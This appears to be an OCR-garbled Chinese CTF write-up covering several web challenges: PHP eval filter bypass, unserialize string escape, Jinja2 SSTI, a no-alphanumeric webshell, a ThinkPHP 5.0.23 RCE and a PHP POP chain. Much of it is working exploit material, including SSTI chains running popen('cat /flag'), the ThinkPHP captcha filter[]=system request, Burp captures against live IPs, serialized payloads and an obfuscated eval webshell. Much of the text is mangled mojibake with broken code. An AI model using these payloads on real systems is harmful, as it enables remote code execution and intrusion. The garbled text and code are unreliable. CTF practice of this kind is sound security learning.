print('Done'
print(lengthList

B log.txt

R WeTT LW R 8 TR S WY T TGRS ) T ST T SRy ST W AW B T WY WYL T Kesseduesslacessag 7 M Terprnann
style="color: #007700">(</span><span style="color: #DDGB&@">'/[a—z_]+\("(?R):'.;\)/'</span><span
style="color: #007700">,&nbsp;</span><span style="color: #DD@00®">''</span><span style="color:
#007700">,&nbsp;</span><span style="color: #0000BB">$shell</span><span style="color:

#007700">) )&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if&nbsp; (</span><span
style="color: #@000BB">preg_match</span><span style="color: #007700">(</span><span style="color:
#DD00eo">"'/file|if | localeconv |phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|
log/i'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$shell</
span><span style="color: #007700">))&nbsp;{<br /

>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;die(</span><span
style="color: #DD@0@@">'?'</span><span style="color: #007700">);<br /

>&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; }&nbsp; else&nbsp; {<br /

>&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;eval(</span><span
style="color: #0000BB">%$shell</span><span style="color: #0@7700">);<br /
>&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;else&nbsp;

{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DD0000">'?77'</
span><span style="color: #087700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /></span>
</span>
</code>array(4) {

[el=>

string(1) "."

[1]=>

string(2) ".."

[2]=>

string(9) "index.php"

[3]=>

string(10) "z z.php"

sssessssssdends




iz B 2 ST B ?

BWE T filelR ¥, EABARE22NMSH, BLABREAT

BT, —HRERE P, GRRAA—N, BAEE, RESERBET

show_source Bt hightlight A&tk TE? !

2]=>
string(18) ".dockerenv"
[

1=

string(3) "bin"
[4]=

string(4) "boot"
[51=>

string(3)

[6]=>

string(3) "

[z

) *home"
3) "lib"
"1ib64"

string(5) “media"
[11]=>

string(3) "mnt"
[12]=>

string(3) "opt"
[13]=

string(4) "proc"
[14]=>

string(4) "root"
[15]=
string(3)
[16]=>
string(4)
[

string(3) "srv"
[18]=>
string(3)
[19]=>
string(3)

[

[ 3£ 1] easy-unserialize
F ¥k iR

e —7T

HERBAZHF! !
ETHAET AT AUREAGEET

HZEFE®!

o HEIH

o B getFileContent2.txt
MUV FUY ) JANUDP, LSV~ OIIUDP , SV p QWD ; IV, QUIUD Y  QUHIUD Y NIUD P, O J.‘I.ul\lu‘ﬁpg \/ dpaili=~span
style="color: #@00@BB">preg_match</span><span style="color: #0077@ span><span style="color:
#DD000R">"/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp]|
log/i'</span><span sty 07700">,&nbsp;</span><span style="color: #0000BB">$shell</
span><span style="color: #@@7700">))&nbsp;{<br /
>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nl ie(</span><span
style="color: #DD@@@@">'?'</span><span style="color: #007700">);<br /
>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; Yanbsp; else&nbsp; {<br /
>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eval(</span><span
style="color: #0000BB">$shell</span><span style="color: #007700">);<br /
>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Y<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nggpig}§g&nbsp;
{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (</span><span style="color: #DD000@a">'??'</
span><span style="color: #007700">);<br />&nbsp;& ;&nbsp; }<br />}<br /></span>
</span>
</code><code><span style="color: #000000">
<span style="color: #000@BB">&Llt; ?php<br />$flag</span><span style="color: #@07700">=</span><span
style="color: #DD0000">"flag{6 7 15f }"</span><span style="color:
#007700">;</span>
</span>
</code>

2585

<code><span style="color: #000000">

<span style="color: #000@BB">&Lt;?php<br />highlight_file</span><span style="color: #007700">(</
span><span style="color: #0008BB">__FILE__</span><span styl 1 #007700">);<br />if&nbsp; (</
span><span style="color: #000@BB">$_P0ST</span><span style="color: #007700">[</span><span
style="color: #DD@@@@">'shell'</span><span style="color: #807700">])&nbsp;{<br /

>&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #0000BB">$shell&nbsp;</span><span style="color:
#007700">=&nbsp;</span><span style="color: #000@BB">$_P0ST</span><span style="color: #007700">[</
span><span style="color: #DD@@@@">'shell'</span><span style="color: #007700">];<br /




index.php
index.php X e

Applications > MxSrvs > www > index.php

public function ()

{

public
public

public function

= 'easyeasyeasyeasyeasyeasyeasyeasyeasy';
2 = ';s:4:"str2";0:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}';

o FHEZHE, RHEAR

! PHP /721t F 1 28 18 L I 7 71 32

/] 2 4EEE hitps://www.freebuf.com/articles/web/285985. html

// H trpayload #yft X getflag &

/] T 'O:7: "getflag":1:{s:4:"file";s:8:"flag.php";}'

/) BT F 1k Eunserialize [A 2 & /5721

1/ BNTHEE R E X AR

// O:3:"tmp":2:{s:4:"str1";s:21: "easy";s:4:"str2":s:4:" ;};0:7:"getflag":1:{s:4:"file";s:8:"flag.php "}"

/| TEX BN & Hpayload: ;};0:7:"getflag":1:{s:4:"file";s:8:"flag.php

N IERRIAIRT) TTATEAF LB TTFERE R /FHIHE21

// $test = 'O:3:"tmp":1:{s:4:"str1";s:21: "easy";s:4:"str2";s:4:";},0:7:"getflag":1:{s:4:"file";s:8:"flag.php":}";

/ B2

// O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:"easy";}

// O:7:"getflag":1:{s:4:"file":s:8:"flag.php";}
='0:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:"easy";}'
='0:7:"getflag":1:{s:4:"file";s:8:"flag.php";}'
='0:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";0:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}";}'
='0:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:" ;s:4:"str2";0:7:"getflag":1:{s:4:"file";s:8:"flag.php";}} ";}'
='0:3:"tmp":2:{s:4:"str1";s:21:"easy";s:4:"str2";s:4:";s:4:"str2";0:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}";}'

// $str2 = ";s:4:"str2";0:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}'

// $str1 = 'easy’

// unserialize($test3);

// var_dump(unserialize ($test3));

o WiF£Flag

Blpython ++~ [M @ ~ X

[§ 17:03:21




BRI THE—T: O

# N\ getflagisk
HHEIASthis—>file: flag.php
NEMRER T flag

/Applications/MxSrvs/www/index.php:41:
object (tmp)[1]

public 'strl' => string 'ezezezezezezezezez";s:4:"str2";s:57:'

public 'str2' =>
object(getflag)[2]

public 'file' => string 'flag.php' (length=8)
A\ getflagihsg
YETAISthis—>file: flag.php
REMZEERITflag
[ 2N ]

Burp Project MUiX3F SJRE HO #HBh

"tmp":2:{s:4:"str1";5:36:"easyeasyeasyeasyeasyeasyeasyeasyeasy";s:4:"str2";s:57:";s: :
TiE T easyfd: O:3:"tmp":2:{s:4:"str1";s:36:"ezezezezezezezezez";s:4:"str2";s:57:";5:4:"str2";0:7:"getflag":1:{s:4:"file";s:8:"flag.php"; }}";}

:"str2";

"getflag":1:{s:4:"file";s:8:"flag.php";}}";}

(length=36)

Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz By:LianZhang

wEs [ B | o [ ans |55 | ers | o [ ows | Eerr [ ween | A |

Send BUH

R

Raw | BH | 5k | Hex

[(<|* >|v

B#: http://35.229.138.83:10955 7 (

0]

Raw ( sk | Hex | Render

POST / HTTP/1.1

Host: 35.229.138.83:10955

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10.15;
Gecko/20100101 Firefox/94.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/we
bp,*/*;q=0.8

Accept-Language:

zh-CN, zh;q=0.8,zh-TW; q=0.7, zh-HK; q=0.5,en-US;q=0.3,en; q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www—form-urlencoded

Content-Length: 104

rv:94.0)

strl=easyeasyeasyeasyeasyeasyeasyeasyeasy&str2=;s:4:"str2";0:7:"getflag":
1:{s:4:"file";s:8:"flag.php";}}

(+]) (5] [mrezrm

MR E

T

RALLE

#0000BB">$strl</span><span style="color: #007700">;<br

/>&nbsp; &nbsp; &nbsp; &nbsp; public&nbsp;</span><span style="color: #0000BB">$str2</span><span
style="color: #007700">;<br /><br

/>&nbsp; &nbsp;&nbsp;&nbsp;public&nbsp; function&nbsp;</span><span style="color:
#0000BB">__construct</span><span style="color: #007700">(</span><span style="color:
#0000BB">$strl</span><span style="color: #007700">,&nbsp;</span><span style="color:
#0000BB">$str2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br
/>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color:
#0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color:
#0000BB">strl&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color:
#0000BB">$strl</span><span style="color: #007700">;<br

/>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color:
#0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color:
#0000BB">str2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color:
#0000BB">$str2</span><span style olor: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br
/>}<br /><br /></span><span styl color: #0@000BB">$strl&nbsp;</span><span style="color:
#007700">=&nbsp; </span><span style="color: #0000BB">$_P0ST</span><span style="color:
#007700">[</span><span style="color: #DD0000">'strl'</span><span style="color: #007700">];<br
/></span><span style="color: #0000BB">$str2&nbsp;</span><span style="color:
#007700">=&nbsp;</span><span style="color: #0000BB">$_P0ST</span><span style="color:
#007700">[</span><span style="color: #DD000Q">'str2'</span><span style="color: #007700">];<br
/></span><span style="color: #0000BB">$data&nbsp;</span><span style="color:
#007700">=&nbsp;</span><span style="color: #0000BB">serialize</span><span style="color:
#007700">(new&nbsp;</span><span style="color: #@000BB">tmp</span><span style
#007700">(</span><span style="color: #0000BB">$strl</span><span style="color
#007700">,&nbsp;</span><span style="color: #0000BB">$str2</span><span style="color:
#007700">)) ;<br /></span><span styl color: #0000BB">$data&nbsp;</span><span styl
#007700">=&nbsp;</span><span style="color: #0000BB">str_replace</span><span style="
#007700">(</span><span style="color: #DD0000">"easy"</span><span style="color:
#007700">,&nbsp; </span><span style="color: #DD0000">"ez"</span><span style="color:
#007700">,&nbsp;</span><span styl color: #0000BB">$data</span><span style="color:
#007700">) ;<br /></span><span style="color: #0000BB">unserialize</span><span style="color:
#007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">);<br
/></span>

</span>

</code><7php

$flag=""flag{e99ecad72a432c54b84e18e5c5c62ef5}";

® (<)) () [mrazrs

®ALE
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o ARBRRFIIMNTR & ki

o PHPRFFIML — FHFikik

o PHP R FHIAL 7415 b8 V%

o ¥f#phpR 754k

o [CTFIPHPFFIL S

o PHP JR42K7E CTF HIIFIH

o FH phar #H & php &7 54k IR B
e PHP RFFLIRIAANI] ST EE

o CTFshowhil & Hi2-WEB-& 554
o CTFZEAHTRFFFINES

o EIRCTFHH HILIIPHP &7 51 IR TR

[2R (1] ezPy
3 A 2 B flaskBi iR vE N B B
SEEE

python ¥b48 & 5SSTI
flaskZ sstitf iiE AN NEZIAT]
M2 S flaskBEARIEAN

HWRER T, EHEJLNVNEANER

e class

¢ base

e mro

¢ subclasses
e init

¢ globals

< X A %% | 35.229.138.83

® Google O, #BE HE M@ B > (7) Youlube @ ZEH [C| CSDN- EWHE.. BEMRRERE (=" )D.. =" EDI— FASTLI

jinja2.exceptions.TemplateSyntaxError

jinja2.exceptions.TemplateSyntaxError: expected token 'end of print statement', got 'integer'

I MREBERAELE —PPERE

name={{"".__class__._bases__[0].__subclasses__()}}
name={{"".__class__. _mro__[0].__subclasses__()}}
name={{"".__class__. _mro__[1]._ subclasses__()}}

name={{"".__class__. mro__[2]._ subclasses__ ()}} # #4&


https://www.freebuf.com/vuls/281127.html
https://xz.aliyun.com/t/9213
https://www.freebuf.com/articles/web/285985.html
https://cloud.tencent.com/developer/article/1846399
https://blog.csdn.net/solitudi/article/details/113588692
https://www.anquanke.com/post/id/238482
https://paper.seebug.org/680/
https://www.cnblogs.com/wjrblogs/p/12800358.html
https://blog.csdn.net/q20010619/article/details/120412832
https://blog.csdn.net/bmth666/article/details/104737025
https://www.freebuf.com/articles/web/264740.html
https://misakikata.github.io/2020/04/python-%25E6%25B2%2599%25E7%25AE%25B1%25E9%2580%2583%25E9%2580%25B8%25E4%25B8%258ESSTI/#%25E7%2589%25B9%25E6%25AE%258A%25E5%2587%25BD%25E6%2595%25B0%25E6%259F%25A5%25E6%2589%25BE
https://xz.aliyun.com/t/3679#toc-0
https://www.freebuf.com/column/187845.html

R PR R B
RINE Hos._wrap_closeF T 5

string = "BKEL S EL B S HI TR
stringList = string.replace([',").replace(']',").split(",'
print(len(stringList
for index each in enumerate(stringList
if 'os._wrap_close' in each
print(f' F #54%d' %index

kEANERAREHIITemd

?name={{"".__class__._ bases_ [0]._ subclasses__ ()[117].__init_ ._ globals__["popen"]('ls ./").read()}}
?name={{"".__class__._bases_ [0]._ subclasses_ ()[117].__init_ . globals__ ["popen"](‘cat /').read()}}
?name={{"".__class__._ bases_ [0]._ subclasses_ ()[117].__init_ . globals__ ["popen"](‘cat /flag').read()}}
Z3flag

Do you like python?

flag{PythOn_1s_1mpOrtant!!!!!}

[3£ (1] simple_php
=3 & X

otf i JL YR s i 55

BRI R R 1 FRU A 0 BB T
SR JE BB YRR thBMhint
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https://www.cnblogs.com/Lmg66/p/13598803.html

SEEER

T 7B 5 webshell & 45

B — T8 R 5| & H % o BE57 WebShell ) 825
A& H7 7 B webshell

Bl tips KAk FE——PHPE RS 1]
CTF—i&web&i/h4- T8 = 7 fEgetFlag()
ctfe # W.php rcegéit H45
M—IECTF R fi# Jo 7 & # #RCE

T 7 ¥ Fwebshell 2 R & 5

— SN B A B [ webshell
preg_match&gid & 45

PHPZI F PCRE [E] 3 1k 5 BR il S 3= 1 22 4= BR il

BRI

AN REFZXANHHEELNRT
B TRBEA %

WG RILR

<?php
function getflag(){
echo 'FFiEhATgetflag ki 1';
}
$code =$_GET['code'];
echo '%nifcode: '.$code.'</br>";
echo "4ATKE: 'strlen($code).'</br>";
if(strlen($code)>14){
die("too long !");
}
/) K Hifuzz
W~ ()-\|;::/ 2%
if(preg_match(/[a-zA-Z0-9_&A<br>"'$#@!*8&+=."\\J{}?,]+/" $code)){
die(" No ! No !");
}
echo 'FFEHAT . $code.'</br>";
@eval($code);

/W H~

// $a = (~getflag);

// echo $a.'</br>";

// echo urlencode($a).'</br>';

// $b = ~$a;

// echo $b.'</br>";

/ %98%9A%8B%99%93%9E%98


https://xz.aliyun.com/t/8107#toc-15
https://www.guildhab.top/2019/05/%25E6%2597%25A0%25E5%25AD%2597%25E6%25AF%258D%25E6%2595%25B0%25E5%25AD%2597%25E7%259A%2584webshell/
https://mochazz.github.io/2018/05/31/%25E4%25B8%258D%25E5%258C%2585%25E5%2590%25AB%25E6%2595%25B0%25E5%25AD%2597%25E5%25AD%2597%25E6%25AF%258D%25E7%259A%2584webshell/
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
https://fl4g.cn/2018/10/11/CTF%25E4%25B8%2580%25E9%2581%2593web%25E9%25A2%2598%25E5%25B0%258F%25E7%25BB%2593-%25E6%2597%25A0%25E6%2595%25B0%25E5%25AD%2597%25E5%25AD%2597%25E6%25AF%258DgetFlag/
https://xz.aliyun.com/t/8354
https://as1def.github.io/2020/05/11/%25E4%25BB%258E%25E4%25B8%2580%25E9%2581%2593CTF%25E9%25A2%2598%25E7%2590%2586%25E8%25A7%25A3%25E6%2597%25A0%25E5%25AD%2597%25E6%25AF%258D%25E6%2595%25B0%25E5%25AD%2597RCE/
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/20175211lyz/p/12198258.html
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

«~ > O O 127.0.0.1:82/2code=(~%98%9A%8B%99%93%9E%98) ();

O senerstsa BT s [ 5 (e o
index.php

Praxe M

P/ o T . . N Sy o VY. o PG

walticode: (~POOOOO)) E—

AR 13

FERIT (000 0009));

Fiﬂmhgetﬂag@# function getflag(){
‘FHiaiToget flagR¥ " ;

Applications > MxSrvs > www > € index.php

r
= ['code'];
' YATAcode: . /b=
HEKE: . ( ). '</br>";
if( ( )>14) {
die("too long '");

jJ

if( (
die(" No ! No !'");
r

'FHERAT . Ne</br=s
@ ( IE

B J5 Hpayload http:/127.0.0.1:82/2code=(~%98%9A%8B%9I9%93%IEY%I8)();

C A FR®R% | 35.229.138.83:15320/?code=(~%98%9A%8B%99%93%9E%I8)();

é
G Google O, #EF @& BE [ BF @ (7) YouTube @ FA CSDN - Bl FE... () MEIRMERE (© - )D..

RiuGiw, FERBLELABEEEEMERFT! | !
flag{a3b5c6d-563ae31f-b6672e33ed-ff63a5b8}

[22 1] thinkphp
BEHTpRAS



HEREERARERA

Thinkphp-RCE-POC & ERE

RE#R! EREHL~

ThinkPHP V5.0.23 { +EE—4|-HAPIAF RIS E HEEIEL }

EREEET
XMEHREERT, HEMpayload

POST /index.php?s=captcha HTTP/1.1

Host: 192.168.220.141:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 73

_method=__construct&filter[]=system&method=get&server[REQUEST _METHOD]=pwd
1124 /5

/I POST /index.php?s=captcha
/I _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd


https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

Burp Project fUif#% B|AE EO #EH

s [ Bm [ [ ads [ Eas | ess | sos | o [ s [ aess | Beed |

3 x |4 x
Send EH <|v >|v B#: http://35.229.138.83:15880 ¢ (2)
R MR
Raw | 28 | 5k | Hex Raw Hex | Render
POST /public/index.php?s=captcha HTTP/1.1 A HTTP/1.1 200 OK A
Host: 35.229.138.83:15880 - Server: nginx/1.16.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:94.0) Gecko/20100101 Date: Thu, 25 Nov 2021 05:24:21 GMT
Firefox/94.0 Content-Type: text/html; charset=UTF-8
Accept: Connection: close
text/html,application/xhtml+xml,application/xm1;q=0.9, image/avif, image/webp,x*/*;q=0. X-Powered-By: PHP/7.4.5
8 Content-Length: 7605
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate /var/www/html/public
Connection: close <!DOCTYPE html>
Upgrade-Insecure-Requests: 1 <html>
Content-Type: application/x-www-form-urlencoded <head>
Content-Length: 73 <meta charset="UTF-8">
<title>System Error</title>
_method=__construct&filter[l=system&method=get&server [REQUEST_METHOD]=pwd <meta name="robots" content="noindex,nofollow" />
<meta name="viewport" content="width=device-width, initial-scale=1
user-scalable=no">
! <style>
/* Base */
body {
color: #333;
font: 14px Verdana, "Helvetica Neue", helvetica, Arial, 'Microsoft
YaHei', sans-serif;
margin: 0;
padding: @ 20px 20px;
word-break: break-word;
}
h1{
margin: 10px 0 0;
font-size: 28px;
font-weight: 500;
line-height: 32px;
}
h2{
color: #4288ce;
font-weight: 400;
padding: 6px 0;
e margin: 6px 0 0; -
M font-size: 18ox: X
@ BABEFIE pezclie. 3 @ BAEE T pezclie. 3
52 7,789%F% | 113%%
Burp Project MUiXaF FARZFE &EO #HB)
e | B | oo s | Bxe | ers | ses [ ws [ Eere | seen | Bewn |
3 x| 4 x
Send BUH <|+ > X B#5: http://35.229.138.83:15880 / ®
# WKL
POST /public/index.php?s=captcha HTTP/1.1 A HTTP/1.1 200 0K A
Host: 35.229.138.83:15880 r Server: nginx/1.16.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:94.0) Gecko/20100101 Date: Thu, 25 Nov 2021 05:27:00 GMT
Firefox/94.0 Content-Type: text/html; charset=UTF-8
Accept: Connection: close
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,*/*;q=0. X-Powered-By: PHP/7.4.5
8 Content-Length: 7663
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7, zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate FL4G
Connection: close bin
Upgrade-Insecure-Requests: 1 dev
Content-Type: application/x-www—-form-urlencoded etc
Content-Length: 74 home
lib
_method=__construct&filter[l=system&method=get&server [REQUEST_METHOD]=1s / media
mnt
opt
| proc
root
run
sbin
srv
sys
tmp
usr
var
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>System Error</title>
<meta name="robots" content="noindex,nofollow" />
<meta name="viewport" content="width=device-width, initial-scale=1
user-scalable=no">
<style>
/* Base */
body {
- color: #333; b
b ~ font: 14ox Verdana. "Helvetica Neue". helvetica. Arial. 'Microsoft 4
@ < + > BN ERFIE RALEE @ < + > BAEFFI RALEE

SRl

7,847 | 11188



® e
Burp Project fUif#% B|AE EO #EH

Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz By:LianZhang

e | Bt [ am e | Exe | eve | ses s [Eerr [ gesn | Been |

3 x |4 x |.

my | (<] [ >0 B http://35.229.138.83:15880 ¢ (2)
ER TR
Raw | 28 | 5k | Hex Raw | 5k | Hex | Render
POST /public/index.php?s=captcha HTTP/1.1 A HTTP/1.1 200 0K A
Host: 35.229.138.83:15880 - Server: nginx/1.16.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:94.0) Gecko/20100101 Date: Thu, 25 Nov 2021 05:28:46 GMT
Firefox/94.0 Content-Type: text/html; charset=UTF-8
Accept: Connection: close
text/html,application/xhtml+xml,application/xm1;q=0.9, image/avif, image/webp,x*/*;q=0. X-Powered-By: PHP/7.4.5
8 Content-Length: 7616
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate [flag{ewyg_wyuf_ushg_dgds_dgfs!}
Connection: close <!DOCTYPE html>
Upgrade-Insecure-Requests: 1 <html>
Content-Type: application/x-www-form-urlencoded <head>
Content-Length: 79 <meta charset="UTF-8">
<title>System Error</title>
_method=__construct&filter[l=system&method=get&server [REQUEST_METHOD]=cat /FL4G <meta name="robots" content="noindex,nofollow" />
<meta name="viewport" content="width=device-width, initial-scale=1
user-scalable=no">
<style>
/* Base */
body {
color: #333;
font: 14px Verdana, "Helvetica Neue", helvetica, Arial, 'Microsoft
YaHei', sans-serif;
margin: 0;
padding: @ 20px 20px;
word-break: break-word;
}
h1{
margin: 10px 0 0;
font-size: 28px;
font-weight: 500;
line-height: 32px;
}
h2{
color: #4288ce;
font-weight: 400;
padding: 6px 0;
= in: 6px 0 0; -
M : 18px: M
@ BAEFFE pezclie. 3 @ BAEEFE pezclie. 3
= 7,800 | 110%#
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R 5 WA 8 — & B an T debug— 2528 R Y

<?php
error_reporting(0);
class openfunc{
public $object;
function __construct(){
$this->object=new normal();
1
function __wakeup(){
$this->object=new normal();
!
function __destruct(){
$this->object->action();

}

abstract class hack {
abstract public function pass();

public function action() {
$this->pass();

}

class normal{
public $d;




function action(){
echo "you must bypass it";

}

class evil extends hack{
public $data;
public $a;
public $b;
public $c;
public function pass(){
$this->a = unserialize($this->b);
$this->a->d = urldecode(date($this->c));
if($this->a->d === "shell'){
$this->shell();
}
else{
die(date("Y/m/d H:i:s"));

}

function shell(){
if(preg_match('/system|evallexec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call\~\A\"[flag|cat|tac|more|tail|
echo|require|include|procjopen|read|shell[file|put|get|contents|dir|link|dljvar|[dump|php/i', $this->data)){

die("you die");

}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR) . '/%;

if(!file_exists($dir)){
mkdir($dir);

}

echo $dir;

file_put_contents("$dir" . "hack.php", $this->data);

if (isset($_GET['Xp0int']))
{

$Data = unserialize(base64_decode($_GET['XpQint']));
}

else

{
highlight_file(__file_);

/IS FRF— 5T R
/ EH EHEEAN DRSS # KFW !
<?php

abstract class hack {

abstract public function pass();

public function action() {
$this->pass();

class normal{
public $d;
function action(){
echo "you must bypass it";



/ #ESE
class openfunc{
public $object;
function __construct(){
$this->object=new normal();
}
// function __wakeup(){ // K/FFIHFFLE W/ /X EH<7.0.1 9k %_ wakeup ZE1T
/' echo 'openfuncHFHEHMET . ';
// $this->object=new normal();
7}
function __ destruct(){ / #/%IF4518/H7
echo 'openfuncF B4 % T . </br>';
$this->object->action();

class evil extends hack{
public $data;
public $a;
public $b;
public $c;
public function pass(){
echo 'BA1k 3 T pass()¥</br>';
$this->a = unserialize($this->b); /b %42/ /FF# T normal()
var_dump($this->c);
$this->a->d = urldecode(date($this->c)); // Znormal() #d J& FEIR (5 555 T 3 Fyshell
echo '$this->a->d:". $this->a->d.'</br>";
// urldecode('shell’) === 'shell'
if($this->a->d === "shell'){
$this->shell(); 7/ ZEHFXE
}
else{
echo "H:# T
die(date("Y/m/d H:i:s"));

}

function shell(){
echo 'FFifthATshell(), 2477 HISthis->data: '.$this->data.'</br>";
if(preg_match('/system|evallexec|base|compress|chr|ord|str|replace|pack|assert|preg|replacelcreate|function|call\~\A\"[flag|cat|tac|more|tail|
echolrequire|include|proclopen|read|shell[file|put|get|contents|dir|link|dljvar|dump|php/i',$this->data)){
die("you die");
telse{
echo 'BPKFIE: ' $this->data.' B N HE</br>";
}
file_put_contents("./hack.php”, $this->data); / Z#—iF 5K

NAO

// if (isset($_GET['XpOint']))

n{

Y/ $kbase64fFrE—it

NN IR AIE

// // $Data = unserialize(base64_decode($_GET['XpOint']));

// $encode = 'Tzo4O0iJveGVuZnVuYyl6MTp7czo20idvYmplY3QiO086NDoiZXZpbCl6NDp7czo00iJk YXRhljtzOjewOil8PyA9IHVybGRuY29kZ
SgndTY1JTc2JTYXJITZjJyk7PSB1cmxkbmNvZ GUoJyU1ZiUTMCUOZiU1MyU1NCcpOz0k OygpOz8+Ijtz OjE6ImEIO047 czoxOililjtzOjI30iJPOjY6!
m5vem1hbCI6MTp7czoxOiJkljtOO030i03M6MToiYyl7czoxMDoiXHNcaFxIXGxcb CI7fX0="

/' unserialize(base64_decode($encode));



/ var_dump($encode === § GET['XpOint']);

4/ var_dump($_GET['XpOint']);

/' unserialize(base64_decode($_GET['XpOint']));
"}

// else

Va

// highlight_file(__file__);

N}

// eval(@$_POST['a']);

$data ="1";

// $len = strlen($data);

// $shell = '0:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:" $len.":".$data.";s:1:"a";N;s:1:"b";s:27:"0:6:"normal": 1:{s:1:"d";N;} ";s:1:"c";s:
10:"s\h\e\W";}}';

// $shell2 = '0:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:". $len."". $data.";s:1:"a";N;s:1:"b";s:27:"0:6.:"normal":1:{s:1:"d";N;}";s:1:"c";s
10:"s\h\e\W/": 33"

// $encode?2 = base64_encode($shell2);

// echo '4gidwakeUP'.'</br>";

// var_dump($encode2);

// echo 'ULhT Hgshell: . $shell.'</br>";

// // echo 'Lkt Hgshell: O:8:"openfunc":1:{s:6:"object";0:4:"evil":4:{s:4:"data";s:70:"<?$_ = urldncode('%65%76%61%6¢");$__= urldncode('%5f
%50%41%53%54');$___ =$$ ;% ($__ [ ]);"s:1:"a"iN;s:1:"b":s:27:"0:6:"normal":1:{s:1:"d":N;}";s:1:"c";s:10:"\s\h\e\\";}}". '</br>";

// /] $bypass = '0:8:"openfunc":2:{s:6:"object";0:4:"evil":4:{s:4:"data";s:" $len."". $data.";s:1:"a";N;s:1:"b";s:27:"0:6:"normal":1:{s:1:"d";N;} ";s:1:"
c"s:10:"s\h\eW":}}"

// // echo 'base644i#5)5: '.base64_encode($bypass).'</br>";

// unserialize($shell);

// $encode = base64_encode($shell);

// var_dump($encode);

// unserialize(base64_decode($encode));

/| BEARRFFbopenfunc
// Gidnormal 289 Khack #action() 2 /& 7Eevil faction()
/ BB CVER 7L

/] 4t FEevilabed
// dataZ811 G X

$data = "<?=passthru('cp /ff* ../1.txt");?>";

$len = strlen($data);

